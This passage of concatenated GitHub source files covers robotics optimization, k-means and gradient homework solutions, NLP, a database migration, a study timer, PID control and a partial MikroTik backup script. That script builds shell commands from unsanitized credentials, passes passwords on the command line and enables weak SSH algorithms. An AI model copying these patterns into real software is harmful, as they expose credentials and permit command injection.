glb.append(np.full((len(k_CoM_Right),),-np.inf))\n gub.append(k_CoM_Right)\n #CoM Kinemactis Constraint for the support foot (CoM_0 in *next* contact -> left)\n g.append(K_CoM_Left@(CoM_0-P_k_next))\n glb.append(np.full((len(k_CoM_Left),),-np.inf))\n gub.append(k_CoM_Left)\n #CoM Kinemactis Constraint for the swing foot (CoM_1 land but in the *current contact* -> right)\n g.append(K_CoM_Right@(CoM_1-P_k_current))\n glb.append(np.full((len(k_CoM_Right),),-np.inf))\n gub.append(k_CoM_Right)\n #CoM Kinemactis Constraint for the swing foot (CoM_1 land but in the *next contact* -> left)\n g.append(K_CoM_Left@(CoM_1-P_k_next))\n glb.append(np.full((len(k_CoM_Left),),-np.inf))\n gub.append(k_CoM_Left)\n #Relative Swing Foot Location (lf in rf)\n g.append(Q_lf_in_rf@(P_k_next-P_k_current))\n glb.append(np.full((len(q_lf_in_rf),),-np.inf))\n gub.append(q_lf_in_rf)\n\n #Regulate the CoM of each phase\n g.append(CoM_0[0]-P_k_current[0])\n glb.append(np.array([-0.05]))\n gub.append(np.array([0.05]))\n\n g.append(P_k_next[0]-CoM_1[0])\n glb.append(np.array([-0.05]))\n gub.append(np.array([0.05]))\n\n#g.append(K_CoM_Left@ca.vertcat(x[0],y[0],z[0]))\n#glb.append(np.full((len(k_CoM_Left),),-np.inf))\n#gub.append(k_CoM_Left)\n\n# reshape all constraints\ng = ca.vertcat(*g)\nglb = np.concatenate(glb)\ngub = np.concatenate(gub)\n\n#g = x[0]+x[1]\n#-----------------------------------------------------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------------------------------------------------\n#Define Cost Function\nJ = 0\n#-----y------------------------------------------------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------------------------------------------------\n#Generate Initial Guess\n# Random Initial Guess\n# Shuffle the Random Seed Generator\nnp.random.seed()\nDecisionVars_init = DecisionVars_lb + np.multiply(np.random.rand(DecisionVarsShape[0],DecisionVarsShape[1]).flatten(),(DecisionVars_ub-DecisionVars_lb))\n# Fixed Value Initial Guess\n# x_init = np.array([[1.5]*N_K])\n#-----------------------------------------------------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------------------------------------------------\n#Build Solver\nprob = {'x': DecisionVars, 'f': J, 'g': g}\nsolver = ca.nlpsol('solver', 'ipopt', prob)\n\nres = solver(x0=DecisionVars_init, lbx=DecisionVars_lb, ubx=DecisionVars_ub, lbg=glb, ubg=gub)\nx_opt = res['x']\nx_opt = x_opt.full().flatten()\n#print('x_opt: ', x_opt)\n#-----------------------------------------------------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------------------------------------------------\n#Result Extraction\nx_index = (0,0+Nstep*2-1)\nx_res = x_opt[x_index[0]:x_index[1]+1]\nx_res = np.array(x_res)\nprint('x_res: ',x_res)\ny_index = (x_index[1]+1,x_index[1]+Nstep*2)\ny_res = x_opt[y_index[0]:y_index[1]+1]\ny_res = np.array(y_res)\nprint('y_res: ',y_res)\nz_index = (y_index[1]+1,y_index[1]+Nstep*2)\nz_res = x_opt[z_index[0]:z_index[1]+1]\nz_res = np.array(z_res)\nprint('z_res: ',z_res)\nPx_index = (z_index[1]+1,z_index[1]+Nstep)\nPx_res = x_opt[Px_index[0]:Px_index[1]+1]\nPx_res = np.array(Px_res)\nprint('Px_res: ',Px_res)\nPy_index = (Px_index[1]+1,Px_index[1]+Nstep)\nPy_res = x_opt[Py_index[0]:Py_index[1]+1]\nPy_res = np.array(Py_res)\nprint('Py_res: ',Py_res)\nPz_index = (Py_index[1]+1,Py_index[1]+Nstep)\nPz_res = x_opt[Pz_index[0]:Pz_index[1]+1]\nPz_res = np.array(Pz_res)\nprint('Pz_res: ',Pz_res)\n#-----------------------------------------------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------------\n#Plot Result\n#------------------------------------------------------------------------------------\nfig=plt.figure()\nax = Axes3D(fig)\n#ax = fig.add_subplot(111, projection=\"3d\")\n\nax.plot3D(x_res,y_res,z_res,color='green', marker='o', linestyle='dashed', linewidth=2, markersize=12)\nax.set_xlim3d(0, 1)\nax.set_ylim3d(-0.5,0.5)\nax.set_zlim3d(0,0.8)\nax.set_xlabel('X')\nax.set_ylabel('Y')\nax.set_zlabel('Z')\n\n#Initial Footstep Locations\nax.scatter(px_init, py_init, pz_init, c='r', marker='o', linewidth = 10) \nax.scatter(px_init, py_init-0.25, pz_init, c='b', marker='o', linewidth = 10) \n\nfor FrameNum in range(Nstep):\n if FrameNum%2 == 0: #even number, left foot in contact for p_current, right foot is going to land as p_next\n StepColor = 'b'\n elif FrameNum%2 == 1: #odd number, right foot in contact for p_current, left foot is going to land as p_next\n StepColor = 'r'\n \n ax.scatter(Px_res[FrameNum], Py_res[FrameNum], Pz_res[FrameNum], c=StepColor, marker='o', linewidth = 10) \n\nax.view_init(elev=8.776933438381377, azim=-99.32358055821186)\nplt.show()\n#x = ca.SX.sym('x'); y = ca.SX.sym('y'); z = ca.SX.sym('z')\n#nlp = {'x':ca.vertcat(x,y,z), 'f':x**2+100*z**2, 'g':z+(1-x)**2-y}\n#solver = ca.nlpsol('nlp_solver', 'ipopt', nlp)\n\n#res = solver(x0=[2.5,3.0,0.75], lbx=-5, ubx=5, lbg=0, ubg=0)\n#x_opt = res['x']\n#print('x_opt: ', x_opt)\n#plt.plot(x_opt)\n#plt.show()\n\n#fig=plt.figure()\n#ax = fig.add_subplot(111, projection=\"3d\")\n#ax.scatter(x_opt[0], x_opt[4], x_opt[8], c='r', marker='o', linewidth = 5) \n#ax=fig.add_axes([0,0,1,1])\n#ax.scatter(, girls_grades, color='r')\n#ax.scatter(grades_range, boys_grades, color='b')\n#ax.set_xlabel('Grades Range')\n#ax.set_ylabel('Grades Scored')\n#ax.set_title('scatter plot')\nplt.show()\n\n","repo_name":"jjiayu/MultiContact_DiffLevelFidelity","sub_path":"Legacy_Code/Kinematics_main.py","file_name":"Kinematics_main.py","file_ext":"py","file_size_in_byte":13624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17486312008","text":"import collections\nimport numpy as np\n\n############################################################\n# Problem 2\n\ndef runKMeans(k,patches,maxIter):\n \"\"\"\n Runs K-means to learn k centroids, for maxIter iterations.\n \n Args:\n k - number of centroids.\n patches - 2D numpy array of size patchSize x numPatches\n maxIter - number of iterations to run K-means for\n\n Returns:\n centroids - 2D numpy array of size patchSize x k\n \"\"\"\n # This line starts you out with randomly initialized centroids in a matrix \n # with patchSize rows and k columns. Each column is a centroid.\n centroids = np.random.randn(patches.shape[0],k)\n\n numPatches = patches.shape[1]\n\n for i in range(maxIter):\n # BEGIN_SOLUTION\n # array to store distance for each patch to each centroid\n distances = np.empty((k,numPatches))\n\n #Step 1: Compute distances from each patch to each centroid\n for c in range(k):\n centroid = centroids[:,c].reshape(-1,1)\n d = np.sqrt(((patches-centroid)**2).sum(0))\n distances[c,:] = d\n\n #Step 2: Update centroids to be mean of patches in their cluster\n mins = np.argmin(distances,axis=0)\n prevCentroids = centroids.copy()\n rss = 0\n\n for c in range(k):\n centroids[:,c] = np.mean(patches[:,mins==c],axis=1)\n rss += np.sum(distances[c,mins==c]**2)\n\n # print \"K-Means: RSS at iteration %d/%d is %f\"%(i+1,maxIter,rss)\n # END_SOLUTION\n\n return centroids\n\n############################################################\n# Problem 3\n\ndef extractFeatures(patches,centroids):\n \"\"\"\n Given patches for an image and a set of centroids, extracts and return\n the features for that image.\n \n Args:\n patches - 2D numpy array os size patchSize x numPatches\n centroids - 2D numpy array of size patchSize x k\n \n Returns:\n features - 2D numpy array with new feature values for each patch\n of the image in rows, size is numPatches x k\n \"\"\"\n k = centroids.shape[1]\n numPatches = patches.shape[1]\n features = np.empty((numPatches,k))\n\n # BEGIN_SOLUTION\n # get distance for every patch from each centroid\n for c in range(k):\n features[:,c] = np.sqrt(((patches-centroids[:,c].reshape(-1,1))**2).sum(0))\n\n # threshold function (k-means triangle)\n for p in range(numPatches):\n mean_dist = np.mean(features[p,:])\n features[p,:] = np.maximum(mean_dist-features[p,:],0)\n\n # END_SOLUTION\n return features\n\n############################################################\n# Problem 4a\n\ndef logisticGradient(theta,featureVector,y):\n \"\"\"\n Calculates and returns gradient of the logistic loss function with\n respect to parameter vector theta.\n\n Args:\n theta - 1D numpy array of parameters\n featureVector - 1D numpy array of features for training example\n y - label in {0,1} for training example\n\n Returns:\n 1D numpy array of gradient of logistic loss w.r.t. to theta\n \"\"\"\n h = 1/(1+np.exp(-theta.dot(featureVector)))\n return (h-y)*featureVector\n\n############################################################\n# Problem 4b\n \ndef hingeLossGradient(theta,featureVector,y):\n \"\"\"\n Calculates and returns gradient of hinge loss function with\n respect to parameter vector theta.\n\n Args:\n theta - 1D numpy array of parameters\n featureVector - 1D numpy array of features for training example\n y - label in {0,1} for training example\n\n Returns:\n 1D numpy array of gradient of hinge loss w.r.t. to theta\n \"\"\"\n # BEGIN_SOLUTION\n h = theta.dot(featureVector)\n if y==0: \n y=-1\n if (y*h)<1:\n return -float(y)*featureVector\n\n return np.zeros(featureVector.shape)\n # END_SOLUTION\n\n","repo_name":"awni/image_classifier","sub_path":"images/submission.py","file_name":"submission.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"41887525414","text":"#!/usr/bin/env python3\n\"\"\"Function bag_of_words.\"\"\"\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n\ndef bag_of_words(sentences, vocab=None):\n \"\"\"\n Function that creates a bag of words embedding matrix.\n\n - sentences is a list of sentences to analyze.\n - vocab is a list of the vocabulary words to use for the\n analysis.\n\n Returns: embeddings, features.\n - embeddings is a numpy.ndarray of shape (s, f)\n containing the embeddings.\n - s is the number of sentences in sentences.\n - f is the number of features analyzed.\n - features is a list of the features used for embeddings.\n \"\"\"\n CountVec = CountVectorizer(lowercase=True,\n vocabulary=vocab)\n\n Count_data = CountVec.fit_transform(sentences)\n\n embeddings = Count_data.toarray()\n features = CountVec.get_feature_names()\n\n return embeddings, features\n","repo_name":"Edigiraldo/holbertonschool-machine_learning","sub_path":"supervised_learning/0x0F-word_embeddings/0-bag_of_words.py","file_name":"0-bag_of_words.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"5786716596","text":"\"\"\"Add type matchup tables.\n\nRevision ID: 2e6020f3486\nRevises: 304735420ea\nCreate Date: 2015-02-08 11:13:02.758357\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '2e6020f3486'\ndown_revision = '304735420ea'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\ntypes = sa.sql.table(\n 'types',\n sa.Column('id', sa.Integer)\n)\n\ntype_matchups = sa.sql.table(\n 'type_matchups',\n sa.Column('attacking_type_id', sa.Integer),\n sa.Column('defending_type_id', sa.Integer),\n sa.Column('result_id', sa.Integer)\n)\n\ntype_matchup_results = sa.sql.table(\n 'type_matchup_results',\n sa.Column('id', sa.Integer),\n sa.Column('identifier', sa.Unicode)\n)\n\ndef upgrade():\n op.create_table('type_matchup_results',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('identifier', sa.Unicode(), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('identifier')\n )\n\n op.create_table('type_matchups',\n sa.Column('attacking_type_id', sa.Integer(), nullable=False),\n sa.Column('defending_type_id', sa.Integer(), nullable=False),\n sa.Column('result_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['attacking_type_id'], ['types.id'], ),\n sa.ForeignKeyConstraint(['defending_type_id'], ['types.id'], ),\n sa.ForeignKeyConstraint(['result_id'], ['type_matchup_results.id'], ),\n sa.PrimaryKeyConstraint('attacking_type_id', 'defending_type_id')\n )\n\n # We should probably give these tables data, just in case future Alembic\n # scripts need it and we can't rely on the CSVs being reloaded in-between.\n # It doesn't have to be the *right* data.\n op.bulk_insert(type_matchup_results, [\n {'id': 1, 'identifier': 'ineffective'},\n {'id': 2, 'identifier': 'not-very-effective'},\n {'id': 3, 'identifier': 'neutral'},\n {'id': 4, 'identifier': 'super-effective'}\n ])\n\n attacking_type = types\n defending_type = types.alias()\n\n op.execute(\n type_matchups.insert()\n .from_select(\n ['attacking_type_id', 'defending_type_id', 'result_id'],\n sa.select([attacking_type.c.id, defending_type.c.id, 3])\n )\n )\n\ndef downgrade():\n op.drop_table('type_matchups')\n op.drop_table('type_matchup_results')\n","repo_name":"CatTrinket/tcod-asb","sub_path":"alembic/versions/2e6020f3486_add_type_matchup_tables.py","file_name":"2e6020f3486_add_type_matchup_tables.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"71080369533","text":"import numpy as np\n\n\nclass HiddenOrOutputLayerNeuron:\n _activation_function = None\n _bias: float = None\n _weights: np.ndarray = None\n\n def __init__(self, weights: np.ndarray, bias: float, activation_function_input):\n \"\"\"\n Constructs a hidden layer neuron by specifying its\n weights, bias, and the activation function it uses.\n :param weights: ListType\n :param bias: float\n :param activation_function_input:\n \"\"\"\n self._weights = weights\n self._bias = bias\n self._activation_function = activation_function_input\n\n def output(self, input_data: list) -> float:\n \"\"\"\n Takes input data, a numpy array of the same dimensionality as the weights\n and returns the dot product of those two arrays plus the bias.\n :param input_data: np.ndarray\n :return: float\n \"\"\"\n if len(input_data) == len(self._weights):\n uncompressed_output = np.dot(self._weights, input_data) + self._bias\n compressed_output = self._activation_function(uncompressed_output)\n else:\n raise ValueError(\n \"The input_data {0} and weights {1} array dimensions do not match\".format(\n len(input_data),\n len(self._weights)\n )\n )\n\n return compressed_output\n\n def get_first_weights_dimension(self) -> tuple:\n return self._weights.shape[0]\n","repo_name":"aricl/digit_identifier","sub_path":"hidden_or_output_layer_neuron.py","file_name":"hidden_or_output_layer_neuron.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25163932541","text":"max = int(input('생성할 큐의 크기를 설정해주세요 >> '))\r\nQueue = []\r\n\r\ndef data_In(x):\r\n Queue.append(x)\r\n print('현재 큐 현황: ', Queue )\r\n\r\ndef data_pop():\r\n p =Queue.pop(-1)\r\n print('현재 큐 현황: ', Queue, '출력된 데이터: ',p)\r\n\r\nwhile (True):\r\n text = list(input('명령을 입력하세요 >> ').split())\r\n \r\n if(text[0] == 'exit'):\r\n break\r\n\r\n elif (text[0]=='입력'):\r\n if(len(Queue)==max):\r\n print('오버플로우 입니다! 큐가 꽉찼습니다')\r\n else:\r\n data_In(text[1])\r\n\r\n elif (text[0]=='출력'):\r\n if(len(Queue)==0):\r\n print('언더플로우 입니다! 큐가 비었습니다')\r\n else:\r\n data_pop()\r\n\r\n \r\n","repo_name":"yujinkimkimkim/1grade_python","sub_path":"python/중간/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13719601919","text":"def get_voc():\n input = open(\"voc.txt\", \"r\", encoding=\"utf8\").readlines()\n dic1 = {t.strip():i for i, t in enumerate(input)}\n return dic1\n\n\ndef get_ids(mode):\n vocab = get_voc()\n filename = \"tokens/\" + mode + \"_tgt.txt\"\n outname = mode + \"_tgt.txt\"\n fout = open(outname, \"w\", encoding=\"utf8\")\n input = open(filename, \"r\", encoding=\"utf8\").readlines()\n for i, item in enumerate(input):\n tokens = item.strip().split()\n ids = [str(vocab[t]) for t in tokens]\n ids.append(\"2\")\n ids = \" \".join(ids)\n fout.write(ids + \"\\n\")\n fout.close()\n\n\nif __name__ == \"__main__\":\n get_ids(\"test\")\n","repo_name":"peixiang6134/tf_bot_examples","sub_path":"seq2seq/data/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"10643441589","text":"import PySimpleGUI as sg\r\nimport pygame as pg\r\nfrom pygame import mixer\r\nimport sys\r\nimport os\r\n\r\n# Define the window's contents\r\nsg.theme('GreenTan')\r\nval=0\r\nstart = False\r\npg.mixer.init()\r\n#pg.mixer.music.load('burnmarks.wav')\r\n\r\nglobal layout\r\n\r\nlayout = [[sg.Text('How long would you like to study?', size=(34, 1), font=(\"Helvetica\", 18), auto_size_text=True, justification='right')],\r\n [sg.Slider(resolution=5, range=(0, 120), border_width=2, default_value=val, size=(20,15), orientation='horizontal', font=('Helvetica', 12), tick_interval=30, enable_events=True, key='Slider'), sg.Text('0:00', size=(10,0), font=(\"Helvetica\", 20), auto_size_text=True, justification='right', key='timer')],\r\n [sg.Button('Start', key='Start', enable_events=True), \r\n sg.Button('Reset',key='Reset', enable_events=True),\r\n sg.Button('Pause music', key='Pause')],\r\n [sg.Image(r'~/Documents/study_timer/study-timer/assets/study.png', tooltip='test')],\r\n ]\r\n\r\n\r\n# Create the window\r\n\r\nglobal window\r\nwindow = sg.Window('lofi study timer', layout)\r\nrunning = False\r\ntime_format = \"00:00\"\r\n\r\n# Display and interact with the Window using an Event Loop\r\nwhile True:\r\n\r\n # This is the code that reads and updates your window\r\n event, values = window.read(timeout=1000)\r\n slider_val = values['Slider']\r\n\r\n # Define the countdown timer components\r\n if event == \"Start\":\r\n minutes = slider_val\r\n sec = int(minutes * 60)\r\n minn, secc = divmod(sec, 60)\r\n time_format = \"{:02d}:{:02d}\".format(minn, secc)\r\n\r\n if event in (sg.Button, 'Reset'):\r\n running = False\r\n sec = int(minutes * 60)\r\n minn, secc = divmod(sec, 60)\r\n time_format = \"{:02d}:{:02d}\".format(minn, secc)\r\n window[\"timer\"].update(time_format)\r\n window[\"Start\"].update(\"Start\")\r\n window[\"Reset\"].update(disabled=True)\r\n window['Slider'].Update(disabled=False)\r\n\r\n\r\n\r\n if event == sg.WIN_CLOSED or event == \"Cancel\":\r\n break\r\n \r\n # ---- Countdown timer ----\r\n\r\n if event in 'Slider':\r\n print(int(slider_val))\r\n window.refresh()\r\n pass\r\n\r\n\r\n if time_format == \"00:00\":\r\n running = False\r\n\r\n\r\n if running is True:\r\n minutes = int(slider_val)\r\n minn, secc = divmod(sec, 60)\r\n time_format = \"{:02d}:{:02d}\".format(minn, secc)\r\n window[\"timer\"].update(time_format)\r\n window[\"Reset\"].update(disabled=False)\r\n sec -= 1\r\n\r\n\r\n if event in (sg.Button, 'Start'):\r\n\r\n minutes = int(slider_val)\r\n \r\n if running: \r\n running = False\r\n minutes = int(slider_val)\r\n window[\"Start\"].update(\"Start\")\r\n\r\n else:\r\n running = True\r\n window['Start'].update(\"Pause\") # Change the 'Start' button to say 'Pause'\r\n window['Slider'].Update(disabled=True) # Disable the slider after start has been pressed.\r\n \r\n window.refresh()\r\n\r\n\r\nwindow.close()\r\n \r\n# this is not an exit \r\n","repo_name":"tallon-coxe/study-timer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14292690280","text":"from commands.typing import CommandReturn, DownloaderCommand\nfrom command_handler import CommandHandler\n\n\ndef __cmd_all(_: str) -> CommandReturn:\n allcards = CommandHandler.commands.get(\"allcards\")\n allfields = CommandHandler.commands.get(\"allfields\")\n\n return allcards.action(_) + allfields.action(_) # type: ignore\n\n\nCOMMAND_ALL = DownloaderCommand(\n name=\"all\",\n help_text=\"downloads all cards images and all fields artworks\",\n action=__cmd_all\n)\n","repo_name":"NiiMiyo/EDOPro-Hd-Downloader","sub_path":"commands/cmd_all.py","file_name":"cmd_all.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"78"}
+{"seq_id":"72556347452","text":"import math\nimport numpy as np\n\ndef angle_adjustment(angle):\n \"\"\"Adjust angle of the robot when objective is \"behind\" the robot\"\"\"\n phi = angle % math.radians(360)\n if phi > math.radians(180):\n phi = phi - math.radians(360)\n\n return phi\n\nclass PID_control_2(object):\n def __init__(self, robot, default_fps=60,tf=True, max_speed=1.8,smooth_w=0, max_angular=2400,KB=0, krho=100, kp=60, ki=0, kd=0, reduce_speed=False,spread=2/3):\n self.vision = robot.game.vision\n self.field_w, self.field_h = robot.game.field.get_dimensions()\n self.robot = robot\n self.desired = [0, 0]\n self.desire_angle = 0\n self.max_angular = max_angular\n self.two_face = tf\n self.smooth_w = smooth_w\n self.w = 0\n self.V = 0\n self.ball = self.robot.strategy.match.ball\n self.right = True\n self.reduce_speed = reduce_speed\n self.spread = spread\n\n self.l = self.robot.dimensions.get('L')/2 # half_distance_between_robot_wheels\n self.R = self.robot.dimensions.get('R') # radius of the wheel\n\n self.default_fps = default_fps\n self.dt = 1/self.default_fps\n\n # Control params\n self.K_RHO = krho # Linear speed gain\n\n # PID of angular speed\n self.KP = kp # Proportional gain of w (angular speed), respecting the stability condition: K_RHO > 0 and KP > K_RHO\n self.KI = ki # Integral gain of w \n self.KD = kd # Derivative gain of w\n self.KB = KB\n self.extra = 0\n\n # PID params for error\n self.dif_alpha = 0 # diferential param\n self.int_alpha = 0 # integral param\n self.alpha_old = 0 # stores previous iteration alpha\n self.alpha = 0\n # Max speeds for the robot\n self.v_max = max_speed # linear speed \n self.w_max = math.radians(max_angular) # angular speed rad/s\n self.w_speed = 0\n def set_desired(self, vector):\n self.desired = vector\n def set_angle(self, a):\n self.desire_angle = a\n def _update_fps(self):\n if self.vision._fps > 0: \n self.dt = 1/self.vision._fps\n else:\n self.dt = 1/self.default_fps\n\n def update(self):\n # Params calculation\n # Feedback errors\n \n D_x = self.desired[0] - self.robot.x\n D_y = self.desired[1] - self.robot.y\n\n # RHO distance of the robot to the objective\n rho = math.sqrt((D_x**2 + D_y**2))\n\n # GAMMA robot's position angle to the objetive\n gamma = angle_adjustment(math.atan2(D_y, D_x))\n \n # ALPHA angle between the front of the robot and the objective\n self.alpha = angle_adjustment(gamma - self.robot.theta)\n\n # BETA\n beta = angle_adjustment(self.desire_angle - math.atan2(D_y, D_x))\n\n \"\"\"Calculate the parameters of PID control\"\"\"\n self._update_fps()\n self.dif_alpha = self.alpha - self.alpha_old / self.dt # Difentential of alpha\n self.int_alpha = self.int_alpha + self.alpha\n\n \"\"\"Linear speed (v)\"\"\"\n if self.reduce_speed:\n # v = self.v_max if [self.robot.x, self.robot.y] < [self.ball.x, self.ball.y] else min(self.K_RHO*rho, self.v_max)\n v = min(self.K_RHO*rho, self.v_max)\n else:\n v = self.v_max\n \n # \"\"\"Objective behind the robot\"\"\"\n dt = 1\n if self.two_face and(abs(gamma - self.robot.theta) > math.pi):\n self.right = True\n elif self.two_face and(abs(gamma - self.robot.theta) < math.pi):\n self.right = False\n\n if self.right:\n self.V -= np.sign(v)*dt\n self.alpha = angle_adjustment(math.atan2(D_y, D_x) - self.robot.theta - math.pi)\n beta = angle_adjustment(self.desire_angle- self.robot.theta + math.pi - self.alpha)\n if not self.right:\n self.V += np.sign(v)*dt\n self.alpha = angle_adjustment(math.atan2(D_y, D_x) - self.robot.theta)\n beta = angle_adjustment(self.desire_angle - self.robot.theta - self.alpha)\n \n\n\n self.V = np.sign(self.V)*min(self.v_max, abs(self.V))\n\n self.w_max = math.radians(self.max_angular - self.smooth_w*(self.robot.vx**2 + self.robot.vy**2)**(1/2))\n\n \"\"\"Angular speed (w)\"\"\"\n self.w = self.KP * self.alpha + self.KB * beta + self.KI * self.int_alpha + self.KD * self.dif_alpha + self.extra\n self.w = np.sign(self.w) * min(abs(self.w), self.w_max)\n \n self.alpha_old = self.alpha\n\n \"\"\"Wheel power calculation\"\"\"\n pwr_left = (2 * self.V - self.w * self.l)/2 * self.R\n pwr_right = (2 * self.V + self.w * self.l)/2 * self.R\n\n return pwr_left * 1000, pwr_right * 1000\n\n\n\n","repo_name":"project-neon/NeonFCsim","sub_path":"controller/PID_control_2.py","file_name":"PID_control_2.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37218718312","text":"import csv\nfrom collections import Counter\nfrom operator import itemgetter\n\n\ndef main():\n file = open(\"20clusters30PCs_v2_withNames.csv\", \"r\")\n read = csv.reader(file)\n clusters = []\n for row in read:\n clusters.append(row)\n clusters = clusters[1:]\n\n for miniList in clusters:\n miniList[1] = int(miniList[1])\n\n num_single_ch_clusters = 0\n \n for i in range(1,21):\n temp_lst = []\n for line in clusters:\n if line[1] == i:\n temp_lst.append(line)\n chap_lst = []\n for dx in temp_lst:\n chap_lst.append(dx[3])\n data = Counter(chap_lst)\n #print(data.most_common())\n #data.most_common()[0]\n if len(data.most_common()) == 1:\n num_single_ch_clusters += 1\n print(num_single_ch_clusters)\n\n #clusters = sorted(clusters, key = itemgetter(1))\n\n file.close()\n\nmain()\n","repo_name":"SmithCollegeHCV/MentalHealth","sub_path":"PCAClustering/modeCh.py","file_name":"modeCh.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"}
+{"seq_id":"71130098812","text":"def ekstra(func):\n def wrapper(sayılar):\n ciftlertoplamı=0\n ciftsayılar=0\n teklertoplamı=0\n teksaılar=0\n for sayı in sayılar:\n if (sayı%2==0):\n ciftlertoplamı+=sayı\n ciftsayılar+=1\n else:\n teklertoplamı+=sayı\n teksaılar+=1\n print(\"Teklerin ortalaması:\",teklertoplamı/teksaılar)\n print(\"Çiftlerin ortalaması:\",ciftlertoplamı/ciftsayılar)\n\n func(sayılar)\n\n return wrapper\n\n\n@ekstra\ndef ortalamabul(sayılar):\n toplam=0\n for i in sayılar:\n toplam +=i\n print(\"Genel ortalma:\",toplam/len(sayılar))\n\nortalamabul([1,23,4,56,7,6,45,65,654,6,546,54,6,54,76,87,9,66,7534,534,54,346,63])\n","repo_name":"kutayakpnar/PythonExamples","sub_path":"decorator özellik.py","file_name":"decorator özellik.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34208360830","text":"from modelos import Modelos\nfrom os import getenv\nfrom os import system as sys\nfrom sistema import banco\n\nHOMEDIR = getenv(\"HOME\")\n\ndef getFTPFile(login):\n\n\tchamada = ('lftp -p %s -u %s,%s -e \"get %s;quit\" %s'%(login.porta,login.usuario,login.senha,login.arquivo,login.ip))\n\tsys(chamada)\n\ndef getSCPFile(login):\n\tchamada = ('sshpass -p \"%s\" scp -P %s %s@%s:/%s %s'%(login.senha,login.porta,login.usuario,login.ip,login.arquivo,login.arquivo))\n\tsys(chamada)\n\ndef load_logo():\n\t\n\traw = open(\"sistema/logo.txt\",\"r\")\n\treaded = raw.readlines()\n\tfor line in readed:\n\t\tprint (line, end='')\n\t\tsys(\"sleep 0.1\")\n\ndef createScriptBackup(login):\n\n\tssh = Modelos.SSH(login.ip,login.usuario,login.senha,login.porta)\n\tssh.exec_cmd(\"export file=backup\")\n\ndef writeToLog(data,logfile):\n\traw = open(logfile,\"a\")\n\traw.write(data+\"\\n\")\n\traw.close()\n\ndef hasPing(host):\n\tping_str = \"ping -c 1 > /dev/null\"\n\tresposta = sys(ping_str + \" \" + host)\n\treturn resposta == 0\n\ndef addHostKey(host):\n\tif not (hasKeyBeenConfiguredForThisHost(host)):\n\t\tconfigstring = (\"Host %s\\n#ADDED BY MIKROTIK BACKUP\\n HostKeyAlgorithms=+ssh-dss\\n KexAlgorithms diffie-hellman-group1-sha1\\n\"%(host.ip))\n\t\tsys(\"echo '%s' >> ~/.ssh/config\" %configstring)\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef hasKeyBeenConfiguredForThisHost(host):\n\tsshconfigfilelines = open(HOMEDIR+\"/.ssh/config\",\"r\")\n\tsshconfigfile = sshconfigfilelines.readlines()\n\n\t## here we run over all the sshconfig file for verifiry if it have entries\n\tfor index in range(0,len(sshconfigfile)):\n\t\tword = sshconfigfile[index].strip(\"\\n\").split(\" \")\n\n\t## here we verify if is an config host entry\n\t\tif word[0] == \"Host\":\n\t## here we verifify if it matches with our host which we're adding \n\t\t\tif word[1] == host.ip:\n\t## here we do a one more advanced check for avoid some issues with an ocasionaly existing config entrie for same host\n\t\t\t\tmarkdown = sshconfigfile[index+1].strip(\"\\n\")\n\t\t\t\tif markdown == \"#ADDED BY MIKROTIK BACKUP\":\n\t\t\t\t\treturn True\n\t\telse:\n\t\t\tpass\n\treturn False\n\ndef addHost():\t\t\n\tnome = \"\"\n\tip = \"\"\n\tuser = \"\"\n\tsenha = \"\"\n\tprotocolo = \"\"\n\tporta = 0\t\n\n\twhile True:\n\t\tnome = input(\"\\nnome do equipamento -> \")\n\t\tif nome != \"\":\n\t\t\tbreak\n\t\telse:\n\t\t\tsys('echo \"$(tput setaf 1)\\n O NOME NAO PODE ESTAR EM BRANCO \\n$(tput sgr0)\"')\n\twhile True:\n\t\tip = input(\"IP do equipamento -> \")\n\t\tif ip != \"\":\n\t\t\tbreak\n\t\telse:\n\t\t\tsys('echo \"$(tput setaf 1)\\n O IP NAO PODE ESTAR EM BRANCO \\n$(tput sgr0)\"')\n\t\n\twhile True:\n\t\tuser = input(\"usuario do equipamento -> \")\n\t\tif user != \"\":\n\t\t\tbreak\n\t\telse:\n\t\t\tsys('echo \"$(tput setaf 1)\\n O USUARIO NAO PODE ESTAR EM BRANCO \\n$(tput sgr0)\"')\n\n\twhile True:\n\t\tsenha = input(\"senha do equipamento -> \")\n\t\tif senha != 